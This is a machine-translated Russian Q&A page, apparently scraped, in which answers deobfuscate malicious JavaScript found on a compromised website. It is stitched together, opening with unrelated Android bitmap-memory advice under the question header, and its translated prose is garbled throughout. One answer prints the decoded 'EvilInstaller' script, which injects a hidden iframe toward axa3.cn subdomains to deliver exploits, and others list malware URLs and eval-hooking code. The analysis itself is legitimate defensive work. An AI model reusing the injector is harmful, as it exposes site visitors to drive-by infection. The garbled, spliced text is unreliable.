Как Вы перепроектировали бы это?

Это явно проблема с памятью, вызванная загрузкой в ​​память тяжелого растрового изображения.

Теперь вот советы, которым вы можете следовать и которых можно избежать из-за нехватки памяти в приложении Android.

  1. Всегда используйте Контекст действия вместо Приложения Контекст. потому что контекст приложения не может быть сборщиком мусора. И освободите ресурсы, когда ваша деятельность закончится. (жизненный цикл объекта должен совпадать с жизненным циклом).
  2. Когда активность заканчивается. Проверьте HEAP DUMP (инструмент анализа памяти в Android Studio). Если в HEAP DUMP есть объекты из завершенного действия, происходит утечка памяти. проверьте ваш код и выясните, что вызывает утечку памяти.
  3. Всегда используйте inSampleSize. Теперь, что такое inSampleSize ? с помощью inSampleSize вы фактически говорите декодеру не захватывать каждый пиксель в памяти, а не подобразец изображения. Это приведет к тому, что в память будет загружено меньшее количество пикселей, чем исходное изображение. Вы можете указать декодеру захватывать каждый 4-й пиксель или каждый второй пиксель исходного изображения. если inSampleSize равно 4. декодер вернет изображение, которое составляет 1/16 числа пикселей в исходном изображении.
  4. Считать растровые размеры перед загрузкой в ​​память.

    Как чтение размеров растрового изображения перед загрузкой изображения в память может помочь вам избежать ошибки нехватки памяти? Давайте учиться

    использовать inJustBounds = true

вот методика, с помощью которой вы можете получить размер изображения перед загрузкой его в память

BitmapFactory.Options options = new BitmapFactory.Options();
options.inJustDecodeBounds = true;
Bitmap bitmap = BitmapFactory.decodeResource(getResources(), R.id.myimage, options);
int imageHeight = options.outHeight;
int imageWidth = options.outWidth;
String imageType = options.outMimeType;

[ 1128] Приведенный выше фрагмент кода не будет не давать изображение / растровое изображение, он будет возвращать нуль для растрового объекта. но он определенно вернет ширину и высоту этого изображения. R.id.myimage.

Теперь у вас есть ширина и высота изображения, вы можете увеличивать или уменьшать изображение на основе следующих факторов:

  • ImageView размер, который будет используется для отображения изображения. Доступный объем памяти. Вы можете проверить доступный объем памяти, используя ActivityManager и getMemoryClass.
  • Размер экрана и плотность устройства.

Теперь,

  1. Используйте соответствующую Конфигурацию битовой карты .

Конфигурации растрового изображения - это цветовое пространство / глубина цвета изображения. Конфигурация растрового изображения по умолчанию в Android - RGB_8888, что составляет 4 байта на пиксель.

Если вы используете цветной канал RGB_565, который использует 2 байта на пиксель. половина выделения памяти для того же разрешения:)

  1. Использовать свойство inBitmap для целей переработки

  2. Не создавать статический объект Drawable, поскольку он не может быть сборщиком мусора

  3. Запросить большую кучу в файле манифеста

  4. Использовать несколько процессов, если вы выполняете много обработки изображений (задача, требующая большого объема памяти) ) или используйте NDK (Native Development используя c, c ++)

Источник

5
задан Mechanical snail 6 August 2012 в 07:07
поделиться

7 ответов

Можно просто пройти его шаг за шагом - так как это - JavaScript, и это интерпретируется, это должен быть свой собственный decryptor. Если у Вас будет доступ к командной строке интерпретатор JavaScript (такой как Консоль в Firebug), то это будет довольно просто.

Я взгляну и видеть то, что подходит.

Редактирование я прошел через большую часть из него - кажется, что заключительный шаг нетривиален, вероятно, потому что это включает "argument.callee". Так или иначе я поднял то, что я имею до сих пор на Pastebin.

Интересно я нашел, что самая твердая часть этого давала имена собственные переменных мусора. Это напомнило мне о кроссворде или судоку, где Вы знаете, как вещи связаны, но Вы не можете окончательно присвоить что-то, пока Вы не разрабатываете, каковы его подчиненные части.:-) Я уверен, что, если кто-то распознает алгоритм, они могут дать частям больше понятных имен, но на уровне бита, где существует большое продолжение XORing, существует две временные переменные, которые я только что оставил как их имена по умолчанию, так как я не знаю, что достаточно контекста дает им полезные.

Заключительное редактирование: 'arguments.callee' укусил, стал легким, когда я понял, что мог просто передать в необработанном тексте, который я иронически просто декодировал (это - вполне умная техника, так, чтобы нормальный deobfuscation не работал из-за курса, после того как Вы переименовываете переменные, и т.д., значение отличается). Так или иначе вот Ваш сценарий полностью:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

В основном похоже, что это загружает вредоносное программное обеспечение из axa3.cn. Сайт уже подозревается ISP, хотя, таким образом, никакое сообщение, что было на самом деле там выше и вне общей вредности.

(Если кто-либо заинтересовал, я использовал Pastebin в качестве псевдо-VCS для изменяющихся версий кода, таким образом, Вы видите другой промежуточный шаг, немного после моего первого сообщения редактирования. Это было довольно интригующее наблюдение различных слоев путаницы и как они изменились.)

26
ответ дан 18 December 2019 в 05:33
поделиться

Пока можно декодировать вручную, это может скоро стать утомительным, когда у Вас есть много этапов декодирования. Я обычно заменяю оценку/запись для наблюдения каждого шага:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

Однако этот конкретный сценарий защищен от этого преднамеренным контролем window.eval. Использование arguments.callee также означает, что сценарий полагается на формат конкретного браузера Function.toString в этом случае IE - это не будет работать над другими браузерами. Можно поместить обходные решения в заменяющую функцию оценки для предоставления сценария, что она ожидает в этом случае, но это - все еще что-то вроде боли.

Вы могли использовать Отладчик сценариев для продвижения через код, или что я сделал в этом случае был, позволяют коду работать, в виртуальной машине без сетей этого я мог позволить себе списать. Путем рассмотрения document.body.innerHTML после того, как работал код, я нашел, что он добавил, что невидимый iframe указал:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

который перенаправляет к:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

который, просматриваемый в подходящих условиях в IE, дает Вам загрузку использования. Не переходите к этим URL.

Короче говоря Ваш сервер был взломан axa3.cn, одной из многих размещенных китайцами, но управляемых русскими вредоносных банд в операции в данный момент.

2
ответ дан 18 December 2019 в 05:33
поделиться

Можно попробовать консоль поджигателя и сломать ее по частям. Как запуск:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

просто маскирует функцию "оценки" как "jQuery"

1
ответ дан 18 December 2019 в 05:33
поделиться

Просто запишите сценарий жемчуга или что-то, что изменяет все завершенные шестнадцатеричные символы на ASCII? Затем просто просмотрите regexs для наблюдения то, что точно происходит, и сделайте то же самое с perl/whatever сценарием.

2
ответ дан 18 December 2019 в 05:33
поделиться

Самый легкий подход был бы слишком просто использованием простая c программа для преобразования завершенных шестнадцатеричных символов в читаемый текст как так:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

который приводит к этому (я добавил форматирование). Я позволю Вам разрушить последнюю часть, которая, кажется, больше того же.

1
ответ дан 18 December 2019 в 05:33
поделиться

очень тщательно - если кто-то собирается в эту большую проблему запутать код, это - вероятно, некоторый сценарий нападения

можно произвести результаты выполнения шаг за шагом с помощью локального файла HTML и взять его часть за один раз

выполнение этого я добираюсь:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

который уступает

jQuery=eval(window.eval);

который, как crescentfresh наблюдаемый, связывает переменный jQuery с функцией window.eval.

следующий раздел, очевидно, пробует к оценке что-то в шестнадцатеричном коде, поэтому давайте посмотрим то, на что шестнадцатеричная строка кода похожа (переформатированный вручную в целях презентации):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

и теперь у нас есть завершенная строка в конце, давайте посмотрим то, что там использует неEscape (усеченный для презентации):

30248118GA0* l: WRG:nt9*82:) 7Z\uF %* {...

откровенно говоря, я скучаю, демонтируя это, так вместо этого я вывел его в локальный файл HTML, разъединенный от Интернета, открытый Firefox, отключенный JavaScript, загрузил файл в Firefox, включил поджигателя, перезагрузил страницу, таким образом, это будет работать и осмотрело DOM.

сценарий создает IFRAME с набором SRC к [измененный для безопасности!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn является китайским доменом на вредоносном черном списке

1
ответ дан 18 December 2019 в 05:33
поделиться

Я знаю не ответ, но обычно (где я видел этот вид материала), они размещаются поэтому, если та строка не выполняется, все остановки сценария. Почему они делают это? Хорошо, потому что они печатают свое авторское право на сценарий (или чаще шаблон).

То, когда люди переходят ко всей этой проблеме Вам для предоставления распознавания, - то, потому что у них действительно есть удалить лицензия авторского права, я рекомендовал бы платить за него, с тех пор даже если Вы "перепроектируете" это, они могут (и иметь) другие способы проверить, верна ли Ваша лицензия. (часть того программного обеспечения на самом деле отправит некоторое сообщение при выполнении этого).

Но, прежде чем я получаю любой вид пламени, я согласовываю его интересное, чтобы возвратиться в этом виде ценных бумаг и получить исходный код и повредить его =)

0
ответ дан 18 December 2019 в 05:33
поделиться
Другие вопросы по тегам:

Похожие вопросы: